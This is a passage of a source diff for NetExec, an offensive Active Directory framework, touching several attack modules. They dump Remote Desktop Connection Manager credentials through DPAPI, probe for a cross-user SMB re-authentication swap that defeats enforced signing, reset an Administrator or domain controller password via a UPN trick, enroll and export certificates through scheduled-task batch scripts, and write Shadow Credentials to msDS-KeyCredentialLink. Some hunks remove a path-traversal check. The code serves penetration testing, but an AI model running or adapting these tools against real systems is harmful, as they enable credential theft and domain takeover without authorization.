padding = 4 - (len(string) % 4)
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+33
-6
@@ -1,28 +1,55 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -31,7 +58,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -39,6 +66,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+3
-14
@@ -1,6 +1,6 @@
|
||||
from sys import exit
|
||||
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -101,8 +101,7 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -223,16 +222,7 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
*_, tgt, _ = connection.conn.getCredentials()
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
self.__username,
|
||||
@@ -245,12 +235,11 @@ class RdpWmi:
|
||||
doKerberos=self.__doKerberos,
|
||||
kdcHost=self.__kdcHost,
|
||||
remoteHost=self.__remoteHost,
|
||||
TGT=tgt,
|
||||
)
|
||||
|
||||
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -1,144 +0,0 @@
|
||||
import binascii
|
||||
import contextlib
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
|
||||
from impacket.smb3structs import SMB2_SESSION_SETUP
|
||||
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
|
||||
|
||||
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
|
||||
log in as one account, then re-authenticate as a different one on the same connection. That swap
|
||||
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
|
||||
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
|
||||
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
|
||||
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
|
||||
allow or refuse it), so it is probed live.
|
||||
https://blackfield.ch/blog/defeating-enforced-smb-signing/
|
||||
"""
|
||||
name = "reauth_swap"
|
||||
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
STATUS_SUCCESS = 0x00000000
|
||||
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
|
||||
STATUS_ACCESS_DENIED = 0xC0000022
|
||||
STATUS_LOGON_FAILURE = 0xC000006D
|
||||
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PROBE_USER second account, must differ from the login account (required)
|
||||
PROBE_PASS second account password
|
||||
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
|
||||
|
||||
The second account is probed over NTLM; its privileges do not matter.
|
||||
|
||||
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
|
||||
(in the login account's domain). A correct password never increments
|
||||
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
|
||||
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
|
||||
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
|
||||
Validate PROBE_USER on a single host before running wide.
|
||||
"""
|
||||
self.probe_user = module_options.get("PROBE_USER")
|
||||
self.probe_pass = module_options.get("PROBE_PASS", "")
|
||||
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
|
||||
if not self.probe_user:
|
||||
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
|
||||
return False
|
||||
if not self.probe_pass and not self.probe_nthash:
|
||||
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.probe_user.lower() == (connection.username or "").lower():
|
||||
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
|
||||
return
|
||||
|
||||
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
|
||||
if not connection.signing:
|
||||
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
|
||||
return
|
||||
|
||||
try:
|
||||
# fresh session so nxc's own connection is left untouched
|
||||
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
|
||||
try:
|
||||
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
|
||||
finally:
|
||||
with contextlib.suppress(Exception):
|
||||
new_conn.close()
|
||||
except Exception as e:
|
||||
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
|
||||
return
|
||||
|
||||
if status == self.STATUS_SUCCESS:
|
||||
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
|
||||
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
|
||||
elif status == self.STATUS_ACCESS_DENIED:
|
||||
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
|
||||
elif status == self.STATUS_LOGON_FAILURE:
|
||||
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
|
||||
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
|
||||
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
|
||||
else:
|
||||
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
|
||||
|
||||
def reauth_as(self, smb, user, password, domain, nthash):
|
||||
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
|
||||
# Create NTLM Type1 message (challenge)
|
||||
type1 = ntlm.getNTLMSSPType1("", domain)
|
||||
blob = SPNEGO_NegTokenInit()
|
||||
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
|
||||
blob["MechToken"] = type1.getData()
|
||||
|
||||
setup = SMB2SessionSetup()
|
||||
setup["Flags"] = 0
|
||||
setup["SecurityMode"] = 1
|
||||
setup["SecurityBufferLength"] = len(blob.getData())
|
||||
setup["Buffer"] = blob.getData()
|
||||
pkt = smb.SMB_PACKET()
|
||||
pkt["Command"] = SMB2_SESSION_SETUP
|
||||
pkt["Data"] = setup
|
||||
|
||||
ans = smb.recvSMB(smb.sendSMB(pkt))
|
||||
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
|
||||
return ans["Status"]
|
||||
|
||||
resp = SMB2SessionSetup_Response(ans["Data"])
|
||||
try:
|
||||
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
|
||||
except Exception:
|
||||
raw = resp["Buffer"]
|
||||
type2 = raw[raw.index(b"NTLMSSP"):]
|
||||
|
||||
lm = nt = ""
|
||||
if nthash:
|
||||
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||
nt = binascii.unhexlify(nthash)
|
||||
|
||||
# Create NTLM Type3 message (authentication)
|
||||
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
|
||||
blob2 = SPNEGO_NegTokenResp()
|
||||
blob2["ResponseToken"] = type3.getData()
|
||||
|
||||
setup2 = SMB2SessionSetup()
|
||||
setup2["Flags"] = 0
|
||||
setup2["SecurityMode"] = 1
|
||||
setup2["SecurityBufferLength"] = len(blob2.getData())
|
||||
setup2["Buffer"] = blob2.getData()
|
||||
|
||||
pkt2 = smb.SMB_PACKET()
|
||||
pkt2["Command"] = SMB2_SESSION_SETUP
|
||||
pkt2["Data"] = setup2
|
||||
|
||||
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
|
||||
return ans2["Status"]
|
||||
@@ -1,9 +1,7 @@
|
||||
from os import makedirs
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -75,11 +73,8 @@ class NXCModule:
|
||||
|
||||
# Formatting the destination filename
|
||||
file_path = path.split("$")[-1].replace("/", "_")
|
||||
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
|
||||
dest_path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in dest_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
|
||||
dest_path = abspath(join(export_path, filename))
|
||||
try:
|
||||
with open(dest_path, "wb+") as file:
|
||||
connection.conn.getFile("C$", path, file.write)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
# dlive (@D1iv3)
|
||||
#
|
||||
# Reference:
|
||||
# Refernece:
|
||||
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
|
||||
# - https://github.com/fox-it/cve-2019-1040-scanner
|
||||
# - https://github.com/Dliv3/cve-2019-1040-scanner
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import sys
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
@@ -25,7 +26,6 @@ class NXCModule:
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -36,22 +36,19 @@ class NXCModule:
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
|
||||
sys.exit(1)
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
@@ -88,7 +85,7 @@ class NXCModule:
|
||||
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
|
||||
+15
-15
@@ -80,10 +80,7 @@ class NXCModule:
|
||||
self.logger.fail("You need to specify a USER to run the task as")
|
||||
return
|
||||
|
||||
# certreq mode is decided from the original CMD here, because self.command_to_run is later
|
||||
# reassigned to the batch path; the PFX download below is gated on this same flag
|
||||
self.is_certreq = self.command_to_run.lower() == "certreq"
|
||||
if self.is_certreq:
|
||||
if self.command_to_run.lower() == "certreq":
|
||||
if self.ca_name is None:
|
||||
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
|
||||
return
|
||||
@@ -99,18 +96,21 @@ class NXCModule:
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set "BASE={full_path_prefixed_file}"
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
|
||||
if not exist "%BASE%.cer" exit /b 12
|
||||
|
||||
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
|
||||
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
|
||||
rem that one certificate, never a pre-existing certificate in the user's store
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
|
||||
certutil -user -addstore my "%BASE%.cer" > nul
|
||||
set "HASH="
|
||||
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
|
||||
if "!HASH!"=="" exit /b 13
|
||||
for /f "tokens=2 delims=:" %%A in ('
|
||||
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
|
||||
') do (
|
||||
set "tmp=%%A"
|
||||
set "tmp=!tmp: =!"
|
||||
set "HASH=!tmp!"
|
||||
)
|
||||
|
||||
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
|
||||
if "!HASH!"=="" (
|
||||
exit /b 1
|
||||
)
|
||||
certutil -user -repairstore my !HASH! > nul 2>&1
|
||||
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
|
||||
certutil -user -delstore my !HASH! > nul 2>&1
|
||||
@@ -212,7 +212,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
|
||||
|
||||
if self.is_certreq:
|
||||
if self.ca_name and self.template_name:
|
||||
dump_path = path.join(NXC_PATH, "modules/schtask_as")
|
||||
if not path.isdir(dump_path):
|
||||
makedirs(dump_path)
|
||||
|
||||
@@ -1,249 +0,0 @@
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
from cryptography.hazmat.primitives.serialization import NoEncryption
|
||||
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
|
||||
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
|
||||
from dsinternals.common.data.DNWithBinary import DNWithBinary
|
||||
from dsinternals.common.data.hello.KeyCredential import KeyCredential
|
||||
from dsinternals.system.DateTime import DateTime
|
||||
from dsinternals.system.Guid import Guid
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Made by @NeffIsBack
|
||||
Heavily inspired by the pyWhisker project by Shutdown:
|
||||
https://github.com/ShutdownRepo/pywhisker
|
||||
"""
|
||||
|
||||
name = "shadow-creds"
|
||||
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
|
||||
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
|
||||
DEVICE_ID KeyCredential device ID; required for info and remove
|
||||
JSONFILE JSON backup path; required for revert and optional for backup
|
||||
|
||||
Examples:
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
|
||||
"""
|
||||
self.target = module_options.get("TARGET", "").strip()
|
||||
self.action = module_options.get("ACTION", "list").lower().strip()
|
||||
self.device_id = module_options.get("DEVICE_ID")
|
||||
self.jsonfile = module_options.get("JSONFILE")
|
||||
|
||||
if not self.target:
|
||||
context.log.fail("TARGET is required")
|
||||
return False
|
||||
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
|
||||
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
|
||||
return False
|
||||
if self.action in {"info", "remove"} and not self.device_id:
|
||||
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
|
||||
return False
|
||||
if self.action == "revert" and not self.jsonfile:
|
||||
context.log.fail("JSONFILE is required for ACTION=revert")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
|
||||
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
if not resp_parsed:
|
||||
context.log.fail(f"Account '{self.target}' was not found")
|
||||
return
|
||||
|
||||
target_dn = resp_parsed[0]["distinguishedName"]
|
||||
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
|
||||
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
|
||||
|
||||
if self.action == "list":
|
||||
self.list(self.parse_credentials(raw_values))
|
||||
elif self.action == "add":
|
||||
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
|
||||
elif self.action == "info":
|
||||
self.info(self.parse_credentials(raw_values))
|
||||
elif self.action == "remove":
|
||||
self.remove(target_dn, self.parse_credentials(raw_values))
|
||||
elif self.action == "clear":
|
||||
self.clear(target_dn, raw_values)
|
||||
elif self.action == "backup":
|
||||
self.backup(raw_values)
|
||||
elif self.action == "revert":
|
||||
self.revert(target_dn)
|
||||
|
||||
def parse_credentials(self, raw_values):
|
||||
credentials = []
|
||||
for raw_value in raw_values:
|
||||
try:
|
||||
# AD stores each KeyCredential as a textual DN-Binary value.
|
||||
credentials.append(
|
||||
(
|
||||
raw_value,
|
||||
KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
|
||||
return credentials
|
||||
|
||||
def get_credential(self, credentials):
|
||||
for raw_value, credential in credentials:
|
||||
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
|
||||
return raw_value, credential
|
||||
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
|
||||
return None
|
||||
|
||||
def list(self, credentials):
|
||||
if not credentials:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
|
||||
for _, credential in credentials:
|
||||
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
|
||||
|
||||
def add(self, target_dn, is_computer):
|
||||
try:
|
||||
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
|
||||
credential = KeyCredential.fromX509Certificate2(
|
||||
certificate=certificate,
|
||||
deviceId=Guid(),
|
||||
owner=target_dn,
|
||||
currentTime=DateTime(),
|
||||
isComputerKey=is_computer,
|
||||
)
|
||||
device_id = credential.DeviceId.toFormatD().lower()
|
||||
ldap_value = credential.toDNWithBinary().toString()
|
||||
output_path = self.write_pfx(certificate, device_id)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
# Add one value instead of replacing the complete multi-valued attribute.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
|
||||
self.context.log.display(f"Generated PFX retained at {output_path}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
|
||||
self.context.log.highlight(f"PFX: {output_path}")
|
||||
|
||||
def write_pfx(self, certificate, device_id):
|
||||
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
|
||||
|
||||
output_path.write_bytes(
|
||||
serialize_key_and_certificates(
|
||||
name=self.target.encode("utf-8"),
|
||||
key=certificate.key.to_cryptography_key(),
|
||||
cert=certificate.certificate.to_cryptography(),
|
||||
cas=None,
|
||||
encryption_algorithm=NoEncryption(),
|
||||
)
|
||||
)
|
||||
return output_path
|
||||
|
||||
def info(self, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
_, credential = result
|
||||
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
|
||||
for name, value in {
|
||||
"Owner": credential.Owner,
|
||||
"Device ID": credential.DeviceId.toFormatD().lower(),
|
||||
"Version": hex(credential.Version.value),
|
||||
"Key ID": credential.Identifier,
|
||||
"Key hash": credential.KeyHash.hex(),
|
||||
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
|
||||
" Exponent (E)": credential.RawKeyMaterial.exponent,
|
||||
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
|
||||
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
|
||||
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
|
||||
"Usage": credential.Usage,
|
||||
"Legacy usage": credential.LegacyUsage,
|
||||
"Source": credential.Source,
|
||||
"Custom key info": credential.CustomKeyInfo,
|
||||
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
|
||||
"Last logon time": credential.LastLogonTime,
|
||||
"Creation time": credential.CreationTime,
|
||||
}.items():
|
||||
self.context.log.highlight(f"{name:<17} {value}")
|
||||
|
||||
def remove(self, target_dn, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
raw_value, _ = result
|
||||
try:
|
||||
# Delete the exact raw value so neighboring credentials remain untouched.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
|
||||
|
||||
def clear(self, target_dn, raw_values):
|
||||
if not raw_values:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
